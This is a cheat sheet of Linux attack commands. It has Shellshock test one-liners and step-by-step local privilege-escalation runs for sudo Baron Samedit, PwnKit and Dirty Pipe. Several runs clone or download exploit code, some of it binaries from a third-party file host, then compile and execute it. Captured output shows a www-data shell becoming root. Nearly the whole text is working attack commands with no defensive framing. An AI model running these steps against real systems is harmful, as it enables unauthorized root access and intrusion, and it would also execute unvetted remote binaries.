Common Linux Vulnerabilities

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

env X='() { (shellshocker.net)=>\' bash -c "echo date"; cat echo; rm ./echo

$ bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || 
echo "CVE-2014-7186 vulnerable, redir_stack"

$ (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash ||
echo "CVE-2014-7187 vulnerable, word_lineno"

shellshocker='() { echo You are vulnerable; }' bash -c shellshocker

bash -c "f() { x() { _;}; x() { _;} <<a; }" 2>/dev/null || echo vulnerable

$ wget https://www.exploit-db.com/download/41458 -O /tmp/exp.c
$ gcc -o exp exp.c
$ chmod +x exp
$ ./exp

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47166.zip
unzip 47166.zip
cd ldpreload
./exploit.ldpreload.sh

/tmp$ git clone https://github.com/worawit/CVE-2021-3156
/tmp$ cd CVE-2021-3156
/tmp/CVE-2021-3156$ python exploit_nss.py 
# whoami
root

/tmp$ git clone https://github.com/berdav/CVE-2021-4034
git clone https://github.com/berdav/CVE-2021-4034
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.        
remote: Counting objects: 100% (36/36), done.        
remote: Compressing objects: 100% (17/17), done.        
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56        
Unpacking objects: 100% (92/92), done.
/tmp$ cd CVE-2021-4034
/tmp/CVE-2021-4034$ ls
ls
cve-2021-4034.c   dry-run  Makefile  README.md
cve-2021-4034.sh  LICENSE  pwnkit.c
/tmp/CVE-2021-4034$ pwd
pwd
/tmp/CVE-2021-4034
/tmp/CVE-2021-4034$ make
make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.
/tmp/CVE-2021-4034$ whoami
whoami
www-data
/tmp/CVE-2021-4034$ ./cve-2021-4034
./cve-2021-4034
# whoami
whoami
root

/tmp$ git clone https://github.com/berdav/CVE-2021-4034
/tmp$ cd CVE-2021-4034
/tmp/CVE-2021-4034$ 


wget https://pan.iihack.com/d/CVE/cve-2021-4034
wget https://pan.iihack.com/d/CVE/cve-2021-4034/pwnkit.so
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.
chmod +x cve-2021-4034
./cve-2021-4034


whoami

git clone https://github.com/r1is/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh